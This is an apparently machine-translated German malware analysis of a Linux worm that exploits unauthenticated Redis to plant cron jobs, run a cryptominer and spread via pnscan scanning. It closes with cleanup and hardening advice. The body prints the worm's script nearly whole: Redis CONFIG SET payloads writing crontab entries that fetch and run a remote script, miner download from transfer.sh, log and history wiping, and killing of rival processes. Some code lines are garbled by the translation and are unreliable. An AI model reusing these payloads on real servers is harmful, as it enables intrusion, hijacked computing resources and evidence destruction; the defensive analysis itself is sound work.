Heim  >  Artikel  >  Datenbank  >  Analyse von Instanzen von Linux Redis Automated Mining-Infektionswürmern

Analyse von Instanzen von Linux Redis Automated Mining-Infektionswürmern

WBOY
WBOYnach vorne
2023-06-03 12:48:101385Durchsuche

 1. Hintergrund

Seit der Offenlegung der Angriffsmethode zum Erhalten von Root-Berechtigungen des Linux-Systems aufgrund des Redis-Unautorisierungsproblems nutzen Hacker dieses Problem aufgrund seiner Benutzerfreundlichkeit, um in Linux-Dienste zum Mining, Scannen usw. einzudringen. Unter anderem Bei der Schwarzproduktion gibt es eine Art von Mining, die dieses Problem ausnutzt und pnscan verwendet, um andere Maschinen automatisch zu scannen und zu infizieren. Diese Art von Angriff hat es schon immer gegeben, aber sie hat in letzter Zeit einen zunehmenden Trend gezeigt und wurde in letzter Zeit mehrfach erfasst , wir werden eine detaillierte Analyse dazu durchführen.

2. Beschreibung der Schwachstelle

Lassen Sie mich zunächst die ausgenutzte Sicherheitslücke erläutern. Wenn keine Firewall zur Abschirmung verwendet wird, wird der Redis-Dienst dem öffentlichen Netzwerk ausgesetzt In diesem Fall kann es dazu führen, dass jeder Benutzer ohne Autorisierung auf Redis zugreift und Redis-Daten liest, während er Zugriff auf den Zielserver hat. Durch die Verwendung von Redis-bezogenen Methoden ohne Autorisierung für den Zugriff auf Redis kann der Angreifer seinen öffentlichen Schlüssel erfolgreich in die Datei „authorized_keys“ im Ordner „~/.ssh“ des Zielservers schreiben und sich dann direkt beim Zielserver anmelden, wenn der Redis-Dienst aktiviert ist Beginnend mit Root-Rechten können Sie dieses Problem nutzen, um direkt Root-Rechte auf dem Server zu erlangen.

Bei der Suche auf ZoomEye und SHODAN wurde festgestellt, dass viele Redis-Dienste im öffentlichen Netzwerk geöffnet sind und diese Dienste möglicherweise zum Ziel von Angriffen werden.

Linux Redis自动化挖矿感染蠕虫实例分析

Linux Redis自动化挖矿感染蠕虫实例分析

  3. Einbruchsanalyse

Linux Redis自动化挖矿感染蠕虫实例分析

Nach der Analyse der erfassten Ereignisse haben wir festgestellt, dass der gesamte Einbruchsprozess wahrscheinlich die folgenden Links umfasst: 1. Scannen Sie den Linux-Server mit geöffnetem Port 6379 (das nachfolgende Netzwerksegment zum Infektionsscannen ist 1.0.0.0/16 bis 224.255.0.0/16)

2. Versuchen Sie, über redis-cli eine Verbindung zu Redis herzustellen und den in der .dat-Datei voreingestellten Auslastungsbefehl auszuführen, um die Redis-Datendatei in /var/spool/cron/root zu ändern, und fügen Sie dann die Daten in Redis ein, um sie herunterzuladen und auszuführen Skript. Crontab-Aufgabe zum Schreiben von Aktionen

3. Implementieren Sie die oben genannten Verhaltensweisen durch Skripte, schließen Sie die Implantation ab und starten Sie das Mining-Programm

4. Kompilieren und installieren Sie pnscan erneut und fahren Sie mit dem Scannen und Infizieren des nächsten Ziels fort

IV. Skriptanalyse

Die Hauptfunktion des gesamten Eindringens und der anschließenden Infektion basiert auf dem Herunterladen und Ausführen des NaNd-Skripts, indem wir das Redis-Problem in die Crontab-Aufgabe schreiben Grundsätzlich erhalten Sie alle Details des gesamten Prozesses. Dies ist ein Basisskript. Wir können die zugehörigen Funktionen durch Interpretation analysieren.

1. Schlaf 1

2. find . -maxlength 1 -name „.mxff0“ -type f -mmin +60 -delete

3. [ -f .mxff0 ] && Beenden 0

​4. echo 0 > Solange dieser Teil des Codes zur Beurteilung der wiederholten Ausführung verwendet wird, verwenden Sie die .mxff0-Datei als Markierungsdatei. Wenn die Datei vorhanden ist, bedeutet dies, dass das Skript auf dem Computer ausgeführt wurde, und beenden Sie es direkt. mxff0-Datei und fahren Sie mit dem nächsten Schritt fort

5. trap „rm -rf .m* NaNd tmp.* .r .dat $0“ EXIT

​Legen Sie voreingestellte Aktionen fest, um zugehörige Dateien und das Skript selbst zu löschen, nachdem das Skript beendet wurde;

​6. setenforce 0 2>/dev/null

7. echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

8. crontab -r 2>/dev/null

9. rm -rf /var/spool/cron 2>/dev/null

10. grep -q 8.8.8.8 /etc/resolv.conf ||. echo „nameserver 8.8.8.8“ >> 11. rm -rf /tmp/* 2>/dev/null

12. rm -rf /var/tmp/* 2>/dev/null

13. rm -rf /etc/root.sh 2>/dev/null

14. sync && echo 3 > /proc/sys/vm/drop_caches

15. cat < /etc/security/limits.conf

16. *Hard Nofile 100000

17. *Soft Nofile 100000

18. Root-Hard-Nofile 100000

19. Root Soft Nofile 100000

20. *harter Nproc 100000

21. * Soft-Nproc 100000

22. Root Hard Nproc 100000

23. Root Soft Nproc 100000

24. EOF

In diesem Teil geht es hauptsächlich darum, die Systemkonfiguration zu ändern. In den Zeilen 6 und 7 wird SELINU ausgeschaltet Löschen Sie dann /var/spool/cron und stellen Sie dann fest, ob der System-DNS-Server 8.8.8.8 vorhanden ist. Wenn nicht, fügen Sie ihn hinzu;

11-13 Löschen Sie das System-tmp-Verzeichnis und löschen Sie zugehörige Dateien;

Zeile 14 löscht den Systemcache, während die Zeilen 15–24 die Systemressourcengrenzen ändern;

25. iptables -I INPUT 1 -p tcp –dport 6379 -j DROP

26. iptables -I INPUT 1 -p tcp –dport 6379 -s 127.0.0.1 -j ACCEPT

27. ps xf |. grep -v grep |. grep „redis-server|nicehash|linuxs|linuxl|crawler.weibo|243/44444|cryptonight|stratum|gpg-daemon|jobs.flu.cc|nmap|cranberry|start. sh|watch.sh|krun.sh|killTop.sh|cpuminer|/60009|ssh_deny.sh|clean.sh|./over|mrx1|redisscan|ebscan|redis-cli|barad_agent|.sr0|clay|udevs| .sshd|/tmp/init“ |. while read pid _; do kill -9 „$pid“; Hier wird iptables hinzugefügt, um den Port 6379 so einzuschränken, dass nur lokaler Zugriff möglich ist. Gleichzeitig sind Mining-, Redis-Client-, Crawler- und andere Prozesse ebenfalls ein relativ einfacher Zweck, um ein erneutes Eindringen anderer zu verhindern Hacker und um mögliche Eindringlinge durch andere Hacker zu eliminieren;

28. rm -rf /tmp/* 2>/dev/null

29. rm -rf /var/tmp/* 2>/dev/null

30. echo 0 > /var/spool/mail/root

31. echo 0 > /var/log/wtmp

32. echo 0 > /var/log/secure

33. echo 0 > /root/.bash_history

Löschen Sie zugehörige Anmeldeprotokolle und den Verlauf der Befehlsvorgänge;

34. YUM_PACKAGE_NAME=“iptables gcc redis coreutils bash curl wget“

35. DEB_PACKAGE_NAME=“coreutils bash build-essential make gcc redis-server redis-tools redis iptables curl“

36. if cat /etc/*release | 37. Lecker, alles sauber

38. yum install -y -q epel-release

39. yum install -y -q $YUM_PACKAGE_NAME

40. elif cat /etc/*release |. grep -qi Rot dann

41. Lecker, alles sauber

42. yum install -y -q epel-release

43. yum install -y -q $YUM_PACKAGE_NAME

44. elif cat /etc/*release |. grep -qi Fedora then

45. Lecker, alles sauber

46. ​​​​yum install -y -q epel-release

47. yum install -y -q $YUM_PACKAGE_NAME

48. elif cat /etc/*release |. grep -qi Ubuntu then

49. export DEBIAN_FRONTEND=noninteractive

50. rm -rf /var/lib/apt/lists/*

51. apt-get update -q –fix-missing

52. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

53. elif cat /etc/*release |. grep -qi Debian; 54. export DEBIAN_FRONTEND=noninteractive

55. rm -rf /var/lib/apt/lists/*

56. apt-get update –fix-missing

57. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

58. elif cat /etc/*release |. grep -qi Mint; 59. export DEBIAN_FRONTEND=noninteractive

60. rm -rf /var/lib/apt/lists/*

61. apt-get update –fix-missing

62. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

63. elif cat /etc/*release |. grep -qi Knoppix then

 64. export DEBIAN_FRONTEND=noninteractive

65. rm -rf /var/lib/apt/lists/*

66. apt-get update –fix-missing

67. für PACKAGE in $DEB_PACKAGE_NAME;do apt-get install -y -q $PACKAGE; done

68. sonst

69. Ausfahrt 1

70. fi

71. Schlaf 1

72. if ! ( [ -x /usr/local/bin/pnscan ] || [ -x /usr/bin/pnscan ] ); 73. curl -kLs https://codeload.github.com/ptrrkssn/pnscan/tar.gz/v1.12 > wget -q -O .x112 https://codeload.github.com/ptrrkssn /pnscan/tar.gz/v1.12

74. Schlaf 1

75. [ -f .x112 ] && tar xf .x112 && cd pnscan-1.12 && make lnx && make install && cd .. && rm -rf pnscan-1.12 .x112

76. fi

Der Hauptzweck dieser langen Inhaltsliste besteht darin, pnscan herunterzuladen, zu kompilieren und zu installieren. Anhand des Inhalts können wir die Beurteilung verschiedener Betriebssysteme erkennen, dann die abhängigen Module installieren und dann den Quellcode von pnscan zur Kompilierung herunterladen und Installation; warum Es wird kompiliert und installiert Es wird spekuliert, dass es mit verschiedenen Systemen kompatibel ist und der MD5 von pnscan bei jeder Kompilierung unterschiedlich ist, um die Bildung fester Merkmale zu vermeiden 77. tname=$( mktemp )

78. OMURL=https://transfer.sh/MIpIA/tmp.vOYTgmtZge

79. curl -s $OMURL > $tname || wget -q -O $tname $OMURL

80. NMURL=$( curl -s –upload-file $tname https://transfer.sh )

​81. mv $tname .gpg && chmod +x .gpg && ./.gpg && rm -rf .gpg

Dieser Teil umfasst hauptsächlich das Herunterladen des Mining-Programms und das Umbenennen in .gpg, das Hinzufügen von Ausführungsberechtigungen, das Löschen nach der Ausführung und das erneute Hochladen auf https://transfer.sh/, um einen neuen Link zu erhalten;

82. [ -z „$NMURL“ ] && NMURL=$OMURL

83. ncmd=$(basename $(mktemp))

84. sed 's|'"$OMURL"'|'"$NMURL"'|g' < $ncmd

85. NSURL=$( curl -s –upload-file $ncmd https://transfer.sh )

86. echo ‚flushall‘ >

87. echo „config set dir /var/spool/cron“ >> 88. echo „config set dbfilename root“ >> 89. echo 'set Backup1 "tn*/2 * * * * curl -s '${NSURL}' > NaNd && bash NaNdnt"' .dat

90. echo ‘set Backup2 „tn*/5 * * * * wget -O NaNd ‚${NSURL}‘ && bash NaNdnt“‘ >> 91. echo 'set Backup3 „tn*/10 * * * * lynx -source ‚${NSURL}‘ > NaNd && bash NaNdnt“‘ >> 92. echo ‚speichern‘ >> .dat

93. echo ‚config set dir /var/spool/cron/crontabs‘ >> 94. echo ‚speichern‘ >> .dat

95. echo ‚exit‘ >> .dat

Dieser Teil des Inhalts generiert hauptsächlich eine neue .dat-Datei, einschließlich des Ersetzens der Download-Adresse des Mining-Programms im ursprünglichen NaNd-Skript durch die neue Adresse, die durch Hochladen auf https://transfer.sh/ im vorherigen Schritt erhalten wurde wie mit Redis Verwandte Sätze von ;

96. pnx=pnscan

97. [ -x /usr/local/bin/pnscan ] && pnx=/usr/local/bin/pnscan

98. [ -x /usr/bin/pnscan ] && pnx=/usr/bin/pnscan

99. für x in $( seq 1 224 | sort -R ); do

100. für y in $( seq 0 255 | sort -R ); do

101. $pnx -t512 -R '6f 73 3a 4c 69 6e 75 78' -W '2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a' $x.$y.0.0/16 6379 > .$x.$y.o

102. awk ‘/Linux/ {print $1, $3}’ .r.$x.$y.o > 103. while read -r h p; 104. cat .dat |. redis-cli -h $h -p $p –raw &

105. fertig < 106. fertig

107. fertig

Der Hauptschritt besteht darin, pnscan aufzurufen, um das Subnetzsegment 1.0.0.0/16 bis 224.255.0.0/16 nach dem Ziel mit offenem Port 6379 und dem Betriebssystem Linux zu scannen, und dann redis-cli zu verwenden, um den Befehl in .dat auszuführen um mit der nächsten Zielinfektion fortzufahren; hier ist der -W-Parameterwert von pnscan „2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a“ und der konvertierte Inhalt ist „*1rn$4rnINFOrn“, der gesendet werden soll Eine Anfrage an den Ziel-Redis-Dienst, um verschiedene Informationen des Redis-Servers und statistische Werte abzurufen, und dann den -R-Parameterwert „6f 73 3a 4c 69 6e 75 78“ (der Inhalt nach der Konvertierung ist OS:Linux) verwenden, um zu bestimmen, ob es ist ein Linux-System.

108. echo 0 > /var/spool/mail/root 2 >/dev/null

109. echo 0 > /var/log/wtmp 2>/dev/null

110. echo 0 > /var/log/secure 2>/dev/null

111. echo 0 > /root/.bash_history 2>/dev/null

112. Ausfahrt 0

Der letzte Schritt ist die Abschlussarbeit, das Löschen der relevanten Protokolle und des Befehlsausführungsverlaufs. Gleichzeitig wird beim Beenden des Skripts die mit Trap am Anfang des Skripts voreingestellte Aktion ausgelöst und der Löschvorgang ausgeführt. Löschen zugehöriger Dateien und des Skripts selbst (rm -rf m* NaNd tmp .* .r .dat $0).

Durch die Interpretation des Skripts haben wir im Wesentlichen das Verhalten und den Invasionsprozess des gesamten Wurms verstanden, den wir zu Beginn beschrieben haben.

Darüber hinaus haben wir beim Lesen des Skripts festgestellt, dass der gesamte Einbruchsprozess zwar nicht sehr kompliziert ist, das Skript jedoch tatsächlich viele „technische“ Details zu berücksichtigen hat, was die Leute über die „gründliche Überlegung“ des Eindringlings staunen lässt:

1. Verwenden Sie die .mxff0-Datei zur wiederholten Ausführungsüberprüfung, um eine wiederholte Ausführung des Skripts zu vermeiden

2. Um den Erfolg zu steigern, einige Umgebungsvorverarbeitungen:

a) Schließen Sie SELINUX

b) Fügen Sie 8.8.8.8 DNS

hinzu c) Löschen Sie das tmp-Verzeichnis

​d) Leeren Sie den Systemcache

e) Ändern Sie die Systemressourcengrenzen

3. Spurenentfernung

a) Verwenden Sie voreingestellte Trap-Aktionen, um zugehörige Dateien und das Skript selbst zu löschen, nachdem das Skript ausgeführt wurde

b) Löschen Sie wiederholt die zugehörigen Anmelde- und anderen Protokolle sowie den Befehlsausführungsverlauf

4. Prävention durch Gleichaltrige

a) Verwenden Sie iptables, um zu verhindern, dass der Redis-Dienst im öffentlichen Netzwerk geöffnet wird, was zu einem weiteren Eindringen führen könnte

b) Beseitigen Sie alle Eindringungsverhaltensweisen, die möglicherweise von Kollegen hinterlassen wurden, und beenden Sie damit verbundene Prozesse

5. Systemkompatibilität

a) Bestimmen Sie das Betriebssystem, führen Sie relevante Befehle gezielt aus, installieren Sie abhängige Pakete und maximieren Sie die Erfolgsquote der pnscan-Kompilierung und -Installation

b) Schalten Sie SELINUX aus und erreichen Sie dies durch Setenforce und Ändern von /etc/sysconfig/selinux

c) Schreiben Sie die Aufgabe zum Herunterladen und Ausführen des Skripts in Crontab und implementieren Sie sie über Curl, Wget und Lynx

​d) Der Pnscan-Scan verbessert die Beurteilung des Betriebssystems und reduziert unnötige Infektionsversuche

6. Feature-Entfernung, Überlebensfortsetzung

a) Pnscan übernimmt die Installations- und Kompilierungsmethode, was nicht nur die Kompatibilität unter verschiedenen Systemen verbessert, sondern auch die Bildung fester MD5-Funktionen vermeidet

b) Verwenden Sie zum Übertragen https://transfer.sh. Jede Infektion generiert eine neue Verbindung, um zu vermeiden, dass feste Links feste Merkmale bilden c) Zugehörige Dateien, die auf das System heruntergeladen werden, verwenden zufällig generierte Dateinamen

Gerade aufgrund der verschiedenen „überlegten Überlegungen“ des Eindringlings kann die Erfolgsquote seiner Invasion und Infektion ein bestimmtes Niveau erreichen.

5. Sicherheitsvorschläge

Virenbereinigung und Systemwiederherstellung

Wir beziehen uns hauptsächlich auf die relevanten Verhaltensweisen des Skripts, um die entsprechenden Verhaltensweisen wiederherzustellen und zu löschen:

1. Schließen Sie SELINUX und öffnen Sie SELINUX entsprechend der ursprünglichen Systemumgebung und den Geschäftsanforderungen erneut

2. Löschen Sie /var/spool/cron und stellen Sie es gemäß der ursprünglichen Sicherung wieder her

3. Ändern Sie /etc/resolv.conf, um den DNS-Dienst 8.8.8.8 hinzuzufügen. Wenn es keine Auswirkungen gibt, können Sie es in Ruhe lassen oder löschen

4. Die Systemressourcenlimits wurden geändert (/etc/security/limits.conf), die je nach Backup-Situation wiederhergestellt werden können

5. Iptables-Regeln für Port 6379 hinzugefügt. Wenn es keine Auswirkungen auf das Geschäft hat, wird empfohlen, es beizubehalten

6. Beenden Sie die relevanten Prozesse, prüfen Sie, ob die vom Unternehmen benötigten Prozesse enthalten sind, und stellen Sie sie je nach Situation wieder her

7. Relevante Pakete wurden oben angezeigt. Sie können je nach Situation gelöscht oder beibehalten werden, wenn keine Auswirkungen vorliegen 8. Nach dem Kompilieren und Installieren von pnscan können Sie /usr/local/bin/pnscan

löschen 9. Die relevanten Protokolle und das tmp-Verzeichnis wurden gelöscht, was keine Auswirkungen auf das System hat und ignoriert werden kann

10. Mining-Prozess und pnscan gestartet, um nach Infektionen zu suchen, verarbeiten: .gpg, pnscan, direkt töten

Es enthält auch einige Zwischendateien. Obwohl das Skript entsprechende Löschvorgänge enthält, wird empfohlen, global nach Bestätigungen zu suchen: .mxff0, .x112, .gpg, .dat, NaNd, .r.xx.xx.o/l, tmp .xxxx

Verstärkung des Redis-Dienstes

1. Ändern Sie bei Bedarf das Bindungselement, um zu vermeiden, dass der Redis-Dienst für das externe Netzwerk geöffnet wird. Sie können iptables verwenden oder Tencent Cloud-Benutzer können den Zugriff auf Quellen über Sicherheitsgruppen einschränken 2. Starten Sie den Redis-Dienst nicht als Root, wenn dies keine Auswirkungen auf das Unternehmen hat. Es wird außerdem empfohlen, den Standardport 6379 zu ändern. Die meisten Angriffe, die auf nicht autorisierte Redis-Probleme abzielen, zielen auf den Standardport ab 3. Konfigurieren Sie AUTH und fügen Sie die Passwortüberprüfung hinzu, sodass Hacker, selbst wenn es für das öffentliche Netzwerk geöffnet ist, nicht auf den Redis-Dienst zugreifen können, um entsprechende Vorgänge auszuführen, es sei denn, das Passwort ist schwach

4. Verwenden Sie rename-command CONFIG „RENAME_CONFIG“, um die relevanten Befehle umzubenennen. Auf diese Weise kann der Hacker, selbst wenn er sich ohne Autorisierung mit dem Redis-Dienst verbindet, nur die relevanten Daten abrufen, sie aber nicht weiter ausnutzen

Das obige ist der detaillierte Inhalt vonAnalyse von Instanzen von Linux Redis Automated Mining-Infektionswürmern. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Dieser Artikel ist reproduziert unter:yisu.com. Bei Verstößen wenden Sie sich bitte an admin@php.cn löschen
Vorheriger Artikel:So verwenden Sie RedisNächster Artikel:So verwenden Sie Redis